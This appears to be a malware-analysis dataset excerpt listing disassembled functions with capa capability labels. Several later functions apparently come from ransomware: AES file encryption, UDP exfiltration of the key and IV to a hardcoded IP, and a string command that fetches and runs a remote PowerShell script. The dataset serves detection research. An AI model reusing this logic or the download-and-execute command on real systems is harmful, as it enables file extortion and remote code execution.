joyce8/EMBER2024-capa huggingface dataset:
Function at 0x455c00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov rcx, qword [rsp + 0x28]
test rcx, rcx
jbe 0x455db9
mov rdx, qword [rsp + 0x20]
movzx ebx, byte [rdx]
test ebx, ebx
jne 0x455c36
movzx esi, byte [rsp + 0x48]
test sil, sil
je 0x455d67
bt ebx, 7
nop word [rax + rax]
jae 0x455d59
xor eax, eax
xor ebx, ebx
xor esi, esi
jmp 0x455c60
lea esi, [rcx + 7]
mov rcx, rax
mov eax, r8d
nop word [rax + rax]
cmp rcx, rax
jbe 0x455db4
movzx edi, byte [rax + rdx]
lea r8d, [rax + 1]
mov r9d, edi
and edi, 0x7f
mov rax, rcx
mov ecx, esi
shl edi, cl
or ebx, edi
test r9b, 0x80
jne 0x455c4e
mov esi, ebx
and ebx, 1
neg ebx
shr esi, 1
xor ebx, esi
mov rsi, qword [rsp + 0x40]
add dword [rsi], ebx
nop dword [rax + rax]
cmp rax, r8
jb 0x455da9
sub rax, r8
mov rbx, qword [rsp + 0x30]
sub rbx, r8
mov rsi, rbx
neg rbx
sar rbx, 0x3f
and r8, rbx
lea rbx, [rdx + r8]
test rax, rax
jbe 0x455d9f
movzx edx, byte [rdx + r8]
bt edx, 7
jae 0x455d51
xor ecx, ecx
xor edx, edx
xor edi, edi
nop
jmp 0x455ce8
lea edi, [rcx + 7]
mov ecx, r9d
cmp rax, rcx
jbe 0x455d92
movzx r8d, byte [rcx + rbx]
lea r9d, [rcx + 1]
mov r10d, r8d
and r8d, 0x7f
mov ecx, edi
shl r8d, cl
or edx, r8d
test r10b, 0x80
jne 0x455ce2
cmp rax, r9
jb 0x455d87
mov rcx, qword [rsp + 0x38]
add qword [rcx], rdx
sub rsi, r9
mov rcx, rsi
neg rsi
sar rsi, 0x3f
and rsi, r9
lea rdx, [rbx + rsi]
mov qword [rsp + 0x50], rdx
sub rax, r9
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rcx
mov byte [rsp + 0x68], 1
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov r9d, 1
jmp 0x455d0f
mov rax, rcx
mov r8d, 1
jmp 0x455c86
mov qword [rsp + 0x50], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x68], 0
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rcx, rax
mov eax, r9d
call fcn.0046cca0
mov rdx, rax
mov eax, ecx
mov rcx, rdx
call fcn.0046cbe0
mov rcx, rax
xor eax, eax
call fcn.0046cbe0
mov rcx, rax
mov eax, r8d
call fcn.0046cca0
call fcn.0046cbe0
xor eax, eax
nop dword [rax + rax]
call fcn.0046cbe0
nop
int3

Function at 0x45d3a0
Capabilities:
Access peb ldr_data

Disassembly:
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
cmp rsp, qword [rcx + 0x10]
jbe 0x45d481
sub rsp, 0x60
mov qword [rsp + 0x58], rbp
lea rbp, [rsp + 0x58]
mov rax, qword gs:[0x28]
mov rax, qword [rax]
mov qword [rsp + 8], 0
mov qword [rsp + 0x10], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x18], xmm0
movups xmmword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
lea rcx, [0x00465360]
mov qword [rsp + 0x10], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x18], rcx
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.0046a8a0
mov rax, qword [rsp + 8]
mov qword [rsp + 0x88], rax
mov rbp, qword [rsp + 0x58]
add rsp, 0x60
nop
ret
call fcn.0046aa00
jmp fcn.0045d3a0
Function at 0x46c680
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, qword [0x0088aa40]
mov rcx, qword [rsp + 8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x10]
lea rax, [rdx + rax*8]
xor rcx, rax
movabs rax, 0xea38ec9079f01541
imul rax, rcx
rol rax, 0x1f
movabs rcx, 0x2723a30d96da1399
imul rcx, rax
mov rax, rcx
shr rcx, 0x1d
xor rax, rcx
movabs rcx, 0x83cf8eadf876d2d7
imul rcx, rax
mov rax, rcx
shr rcx, 0x20
xor rax, rcx
mov qword [rsp + 0x18], rax
ret
cmp byte [0x0088a624], 0
je 0x46c6bd
mov rax, qword [rsp + 8]
movq xmm0, qword [rsp + 0x10]
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x0088ad00]
aesenc xmm0, xmmword [0x0088ad10]
aesenc xmm0, xmmword [0x0088ad20]
movq qword [rsp + 0x18], xmm0
ret
jmp 0x40a720

Function at 0x4b6ac0
Capabilities:
Encode data using base64

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov rdx, qword [rsp + 0x20]
mov rbx, qword [rdx + 8]
lea rsi, [rbx + 0x2e]
imul rsi, rsi, 0xffffffffffffffe4
movabs rax, 0x5816058160581606
mov rcx, rdx
imul rsi
sar rdx, 5
sar rsi, 0x3f
sub rdx, rsi
lea rsi, [rdx + 0x15c]
sar rsi, 0x3f
shr rsi, 0x3d
lea rdx, [rsi + rdx]
lea rdx, [rdx + 0x15c]
sar rdx, 3
cmp rdx, 0x57
jae 0x4b6b99
lea rsi, [rdx + rdx*2]
lea rdi, [0x0081f360]
mov r8, qword [rdi + rsi*8 + 8]
lea r9, [r8 + rbx]
lea r9, [r9 + 0x40]
cmp r9, 0xffffffffffffffc4
jge 0x4b6b42
inc rdx
nop
jmp 0x4b6b18
cmp r9, 0xffffffffffffffe0
jle 0x4b6b4d
dec rdx
jmp 0x4b6b18
mov rbx, qword [rdi + rsi*8]
mov rax, qword [rcx]
mov rsi, rdx
mul rbx
shr rax, 0x3f
add rdx, rax
mov qword [rcx], rdx
mov rdx, qword [rcx + 8]
lea rdx, [rdx + r8]
lea rdx, [rdx + 0x40]
mov qword [rcx + 8], rdx
mov rcx, rsi
shl rsi, 3
lea rdx, [rsi - 0x15c]
neg rdx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rcx
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rax, rdx
mov ecx, 0x57
call fcn.0046cbe0
nop
int3
Function at 0x52c7a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
cmp rsp, qword [rcx + 0x10]
jbe 0x52c8e6
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x52c8ad
mov rdx, qword [rsp + 0x38]
nop dword [rax + rax]
cmp rcx, rdx
ja 0x52c8e0
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x40]
cmp rdx, rbx
jne 0x52c874
mov rsi, qword [rsp + 0x20]
movzx edi, byte [rsi + 0x400]
movzx r8d, byte [rsi + 0x401]
lea rax, [rcx - 1]
mov r9, qword [rsp + 0x30]
cmp rax, r9
jae 0x52c8b7
xor eax, eax
jmp 0x52c857
movzx r9d, byte [rbx + rax]
inc edi
movzx r10d, dil
mov r11d, dword [rsi + r10*4]
add r8d, r11d
movzx r12d, r8b
mov r13d, dword [rsi + r12*4]
mov dword [rsi + r10*4], r13d
mov dword [rsi + r12*4], r11d
lea r10d, [r11 + r13]
movzx r10d, r10b
xor r9d, dword [rsi + r10*4]
mov byte [rdx + rax], r9b
inc rax
cmp rcx, rax
jg 0x52c822
mov byte [rsi + 0x400], dil
mov byte [rsi + 0x401], r8b
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
nop
mov rsi, rdx
lea rdi, [rcx + rbx]
lea rdi, [rdi - 1]
cmp rdx, rdi
ja 0x52c8a5
mov rdx, rbx
lea rdi, [rcx + rsi]
lea rdi, [rdi - 1]
cmp rbx, rdi
jbe 0x52c8bf
mov rbx, rdx
mov rdx, rsi
nop dword [rax + rax]
jmp 0x52c7f8
mov rdx, rsi
jmp 0x52c7f8
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rcx, r9
call fcn.0046cbe0
lea rax, [0x0064f4c0]
mov qword [rsp], rax
lea rax, [0x006f0a40]
mov qword [rsp + 8], rax
call fcn.00438920
nop dword [rax + rax]
call fcn.0046cc60
nop
call fcn.0046aa00
jmp fcn.0052c7a0
Function at 0x557120
Capabilities:
Parse credit card information

Disassembly:
movzx eax, byte [rsp + 8]
lea ecx, [rax - 0x61]
cmp cl, 0x19
ja 0x557133
mov byte [rsp + 0x18], 0
ret
lea ecx, [rax - 0x41]
cmp cl, 0x19
jbe 0x55712d
lea ecx, [rax - 0x30]
nop
cmp cl, 9
jbe 0x55712d
mov rcx, qword [rsp + 0x10]
cmp rcx, 3
jne 0x5572c0
cmp al, 0x2c
ja 0x557296
lea edx, [rax - 0x21]
nop
cmp dl, 1
ja 0x55716b
mov byte [rsp + 0x18], 0
ret
cmp al, 0x24
je 0x557165
cmp al, 0x26
jae 0x557165
cmp al, 0x2f
ja 0x557258
nop dword [rax + rax]
cmp al, 0x26
ja 0x557231
cmp al, 0x24
jne 0x557227
cmp rcx, 2
jg 0x5571e9
cmp rcx, 1
je 0x5571e1
nop dword [rax]
cmp rcx, 2
jne 0x5571c3
cmp al, 0x2f
jne 0x5571b4
mov eax, 1
mov byte [rsp + 0x18], al
ret
cmp al, 0x3b
je 0x5571aa
cmp al, 0x2c
je 0x5571aa
cmp al, 0x3f
sete al
jmp 0x5571af
cmp rcx, 7
jne 0x5571da
cmp al, 0x21
jne 0x5571d3
mov byte [rsp + 0x18], 0
ret
add eax, 0xffffffd8
cmp al, 2
jbe 0x5571cd
mov byte [rsp + 0x18], 1
nop
ret
cmp al, 0x3f
sete byte [rsp + 0x18]
ret
cmp rcx, 5
jne 0x55720f
cmp al, 0x40
jne 0x557200
mov eax, 1
mov byte [rsp + 0x18], al
ret
cmp al, 0x2f
je 0x5571f3
cmp al, 0x3f
je 0x5571f3
cmp al, 0x3a
sete al
jmp 0x5571f8
cmp rcx, 6
je 0x557221
cmp rcx, 7
jne 0x5571c3
mov byte [rsp + 0x18], 0
ret
mov byte [rsp + 0x18], 1
ret
cmp al, 0x26
je 0x557190
jmp 0x5571c3
lea edx, [rax - 0x2b]
cmp dl, 1
jbe 0x557190
lea edx, [rax - 0x2d]
cmp dl, 1
ja 0x55724b
mov byte [rsp + 0x18], 0
ret
cmp al, 0x2f
je 0x557190
jmp 0x5571c3
cmp al, 0x3d
ja 0x557276
lea edx, [rax - 0x3a]
nop
cmp dl, 1
jbe 0x557190
cmp al, 0x3d
je 0x557190
jmp 0x5571c3
lea edx, [rax - 0x3f]
nop dword [rax]
cmp dl, 1
jbe 0x557190
cmp al, 0x5f
je 0x557245
cmp al, 0x7e
je 0x557245
jmp 0x5571c3
lea edx, [rax - 0x3a]
nop dword [rax]
cmp dl, 4
jbe 0x557165
cmp al, 0x5b
je 0x557165
cmp al, 0x5d
je 0x557165
jmp 0x557173
cmp rcx, 4
je 0x557154
jmp 0x557173
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140012dd0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140012de0]
mov dword [rax], 1
mov rax, qword [0x140012df0]
mov dword [rax], 1
mov rax, qword [0x140012d80]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140012dc0]
mov dword [0x14001500c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140012eb0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140012e90]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140012d10]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001c25
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
sub rsp, 0x850
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x7e0], rcx
mov qword [rbp + 0x7e8], rdx
mov qword [rbp + 0x7f0], r8
mov qword [rbp + 0x7f8], r9
mov dword [rbp + 0x7b8], 0
mov dword [rbp + 0x7cc], 0
call sym.EVP_CIPHER_CTX_new
mov qword [rbp + 0x7c0], rax
cmp qword [rbp + 0x7c0], 0
jne 0x140001c80
call sym.handleErrors
call sym.EVP_aes_256_cbc
mov rdx, rax
mov r8, qword [rbp + 0x7f0]
mov rax, qword [rbp + 0x7c0]
mov rcx, qword [rbp + 0x7f8]
mov qword [rsp + 0x20], rcx
mov r9, r8
mov r8d, 0
mov rcx, rax
call sym.EVP_EncryptInit_ex
cmp eax, 1
je 0x140001d27
call sym.handleErrors
jmp 0x140001d27
lea r9, [rbp + 0x3b0]
lea r8, [rbp + 0x7b8]
lea rax, [rbp - 0x50]
mov rcx, qword [rbp + 0x7c0]
mov edx, dword [rbp + 0x7bc]
mov dword [rsp + 0x20], edx
mov rdx, rax
call sym.EVP_EncryptUpdate
cmp eax, 1
je 0x140001cf4
call sym.handleErrors
mov eax, dword [rbp + 0x7b8]
add dword [rbp + 0x7cc], eax
mov eax, dword [rbp + 0x7b8]
movsxd rdx, eax
mov rcx, qword [rbp + 0x7e8]
lea rax, [rbp - 0x50]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rdx, qword [rbp + 0x7e0]
lea rax, [rbp + 0x3b0]
mov r9, rdx
mov r8d, 0x400
mov edx, 1
mov rcx, rax
call sym.fread
mov dword [rbp + 0x7bc], eax
cmp dword [rbp + 0x7bc], 0
jg 0x140001cbf
lea rdx, [rbp + 0x7b8]
lea rax, [rbp - 0x50]
mov rcx, qword [rbp + 0x7c0]
mov r8, rdx
mov rdx, rax
call sym.EVP_EncryptFinal_ex
cmp eax, 1
je 0x140001d85
call sym.handleErrors
mov eax, dword [rbp + 0x7b8]
movsxd rdx, eax
mov rcx, qword [rbp + 0x7e8]
lea rax, [rbp - 0x50]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov eax, dword [rbp + 0x7b8]
add dword [rbp + 0x7cc], eax
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
call sym.EVP_CIPHER_CTX_free
mov eax, dword [rbp + 0x7cc]
add rsp, 0x850
pop rbp
ret
Function at 0x140001dd6
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
sub rsp, 0x850
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x7e0], rcx
mov qword [rbp + 0x7e8], rdx
mov qword [rbp + 0x7f0], r8
mov qword [rbp + 0x7f8], r9
mov dword [rbp + 0x7b8], 0
mov dword [rbp + 0x7cc], 0
call sym.EVP_CIPHER_CTX_new
mov qword [rbp + 0x7c0], rax
cmp qword [rbp + 0x7c0], 0
jne 0x140001e31
call sym.handleErrors
call sym.EVP_aes_256_cbc
mov rdx, rax
mov r8, qword [rbp + 0x7f0]
mov rax, qword [rbp + 0x7c0]
mov rcx, qword [rbp + 0x7f8]
mov qword [rsp + 0x20], rcx
mov r9, r8
mov r8d, 0
mov rcx, rax
call sym.EVP_DecryptInit_ex
cmp eax, 1
je 0x140001ed8
call sym.handleErrors
jmp 0x140001ed8
lea r9, [rbp + 0x3b0]
lea r8, [rbp + 0x7b8]
lea rax, [rbp - 0x50]
mov rcx, qword [rbp + 0x7c0]
mov edx, dword [rbp + 0x7bc]
mov dword [rsp + 0x20], edx
mov rdx, rax
call sym.EVP_DecryptUpdate
cmp eax, 1
je 0x140001ea5
call sym.handleErrors
mov eax, dword [rbp + 0x7b8]
add dword [rbp + 0x7cc], eax
mov eax, dword [rbp + 0x7b8]
movsxd rdx, eax
mov rcx, qword [rbp + 0x7e8]
lea rax, [rbp - 0x50]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rdx, qword [rbp + 0x7e0]
lea rax, [rbp + 0x3b0]
mov r9, rdx
mov r8d, 0x400
mov edx, 1
mov rcx, rax
call sym.fread
mov dword [rbp + 0x7bc], eax
cmp dword [rbp + 0x7bc], 0
jg 0x140001e70
lea rdx, [rbp + 0x7b8]
lea rax, [rbp - 0x50]
mov rcx, qword [rbp + 0x7c0]
mov r8, rdx
mov rdx, rax
call sym.EVP_DecryptFinal_ex
cmp eax, 1
je 0x140001f36
call sym.handleErrors
mov eax, dword [rbp + 0x7b8]
movsxd rdx, eax
mov rcx, qword [rbp + 0x7e8]
lea rax, [rbp - 0x50]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov eax, dword [rbp + 0x7b8]
add dword [rbp + 0x7cc], eax
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
call sym.EVP_CIPHER_CTX_free
mov eax, dword [rbp + 0x7cc]
add rsp, 0x850
pop rbp
ret
Function at 0x140001f87
Capabilities:
Convert ip address from string
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x200
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x198], rdx
lea rax, [0x14001204d]
mov qword [rbp + 0x178], rax
lea rax, str.51.38.185.89
mov qword [rbp + 0x170], rax
lea rax, [rbp - 0x50]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov word [rbp + 0x150], 2
lea rax, [rbp + 0x150]
lea rdx, [rax + 4]
mov rax, qword [rbp + 0x170]
mov r8, rdx
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_inet_pton]
call rax
mov ecx, 0x15b3
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x152], ax
mov r8d, 0x11
mov edx, 2
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x168]
mov dword [rsp + 0x28], 0x10
lea rdx, [rbp + 0x150]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 6
lea rdx, str.key:
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_sendto]
call rax
mov rdx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x168]
mov dword [rsp + 0x28], 0x10
lea rcx, [rbp + 0x150]
mov qword [rsp + 0x20], rcx
mov r9d, 0
mov r8d, 0x42
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_sendto]
call rax
mov rax, qword [rbp + 0x168]
mov dword [rsp + 0x28], 0x10
lea rdx, [rbp + 0x150]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 6
lea rdx, str._iv:
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_sendto]
call rax
mov rdx, qword [rbp + 0x198]
mov rax, qword [rbp + 0x168]
mov dword [rsp + 0x28], 0x10
lea rcx, [rbp + 0x150]
mov qword [rsp + 0x20], rcx
mov r9d, 0
mov r8d, 0x22
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_sendto]
call rax
mov rax, qword [rbp + 0x168]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
nop
add rsp, 0x200
pop rbp
ret
Function at 0x140002148
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
mov eax, 0x10e8
call fcn.1400034d0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1080], ecx
mov qword [rbp + 0x1088], rdx
call sym.__main
cmp dword [rbp + 0x1080], 1
jne 0x1400021b1
lea rax, str.curl___insecure_https:__51.38.185.89_chicxulub.ps1___output_chicxulub.ps1___silent
mov rcx, rax
call sym.system
lea rax, str.powershell__command__set_executionpolicy_remotesigned_
mov rcx, rax
call sym.system
lea rax, str.powershell__command__.chicxulub.ps1_
mov rcx, rax
call sym.system
mov ecx, 0
call sym.exit
cmp dword [rbp + 0x1080], 6
je 0x1400021dc
cmp dword [rbp + 0x1080], 4
je 0x1400021dc
lea rax, str.Please_enter_cipher_mode__Secret_CODE___ed___DIRECTORY___KEY_to_decrypt___IV_to_decrypt___n
mov rcx, rax
call sym.printf
mov ecx, 0
call sym.exit
mov rax, qword [rbp + 0x1088]
add rax, 8
mov rax, qword [rax]
lea rdx, str.1PP0wpZEOM
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140002216
lea rax, str.No_valid_secret_key_n
mov rcx, rax
call sym.printf
mov ecx, 0
call sym.exit
cmp dword [rbp + 0x1080], 4
jne 0x140002305
mov rax, qword [rbp + 0x1088]
add rax, 0x10
mov rax, qword [rax]
lea rdx, [0x14001219c]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002305
lea rax, [rbp + 0x30]
mov edx, 0x20
mov rcx, rax
call sym.RAND_bytes
test eax, eax
je 0x140002272
lea rax, [rbp + 0x20]
mov edx, 0x10
mov rcx, rax
call sym.RAND_bytes
test eax, eax
jne 0x1400022ba
mov rax, qword [sym.imp.msvcrt.dll__errno]
call rax
mov eax, dword [rax]
mov ecx, eax
call sym.strerror
mov rbx, rax
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov r8, rbx
lea rax, str.ERROR:_RAND_bytes_error:__s_n
mov rdx, rax
call sym.fprintf
mov rax, qword [sym.imp.msvcrt.dll__errno]
call rax
mov eax, dword [rax]
jmp 0x1400023d4
mov dword [rbp + 0x105c], 1
lea rdx, [rbp + 0x30]
lea rax, [rbp - 0x30]
mov r8d, 0x20
mov rcx, rax
call sym.bytes_to_hexa
lea rdx, [rbp + 0x20]
lea rax, [rbp - 0x60]
mov r8d, 0x10
mov rcx, rax
call sym.bytes_to_hexa
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.send_keys
jmp 0x140002394
cmp dword [rbp + 0x1080], 6
jne 0x14000237b
mov rax, qword [rbp + 0x1088]
add rax, 0x10
mov rax, qword [rax]
lea rdx, [0x1400121bb]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000237b
mov rax, qword [rbp + 0x1088]
add rax, 0x20
mov rcx, qword [rax]
lea rax, [rbp + 0x30]
mov r8d, 0x20
mov rdx, rax
call sym.hexa_to_bytes
mov rax, qword [rbp + 0x1088]
add rax, 0x28
mov rcx, qword [rax]
lea rax, [rbp + 0x20]
mov r8d, 0x10
mov rdx, rax
call sym.hexa_to_bytes
mov dword [rbp + 0x105c], 2
jmp 0x140002394
lea rax, str.Invalid_input_n
mov rcx, rax
call sym.printf
mov ecx, 0
call sym.exit
mov rax, qword [rbp + 0x1088]
add rax, 0x18
mov rdx, qword [rax]
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.strcpy
mov r8d, dword [rbp + 0x105c]
lea rcx, [rbp + 0x20]
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x50]
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call sym.rec_dic_traversal
mov eax, 0
add rsp, 0x10e8
pop rbx
pop rbp
ret
Function at 0x140002730
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x1400027a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140015094]
test esi, esi
mov rbx, rcx
jle 0x1400028d0
mov rax, qword [0x140015098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400027eb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002875
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400027d0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x1400028f2
mov rax, qword [0x140015098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140015098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400028d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000286e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002880
add dword [0x140015094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140015098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000286e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400027f8
mov rax, qword [0x140015098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002e60
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140015100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400150e0]
test rbx, rbx
je 0x140002ebc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002eb3
test rsi, rsi
je 0x140002eb3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002e98
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400030d0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400030e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400030f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140003100
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x14000314d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x140003144
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000314f
add rax, 0x28
cmp rax, r9
jne 0x140003130
xor eax, eax
ret

Function at 0x140003150
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400031e0
mov rdx, qword [0x140012d80]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400031ce
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400031ce
cmp word [rax + 0x18], 0x20b
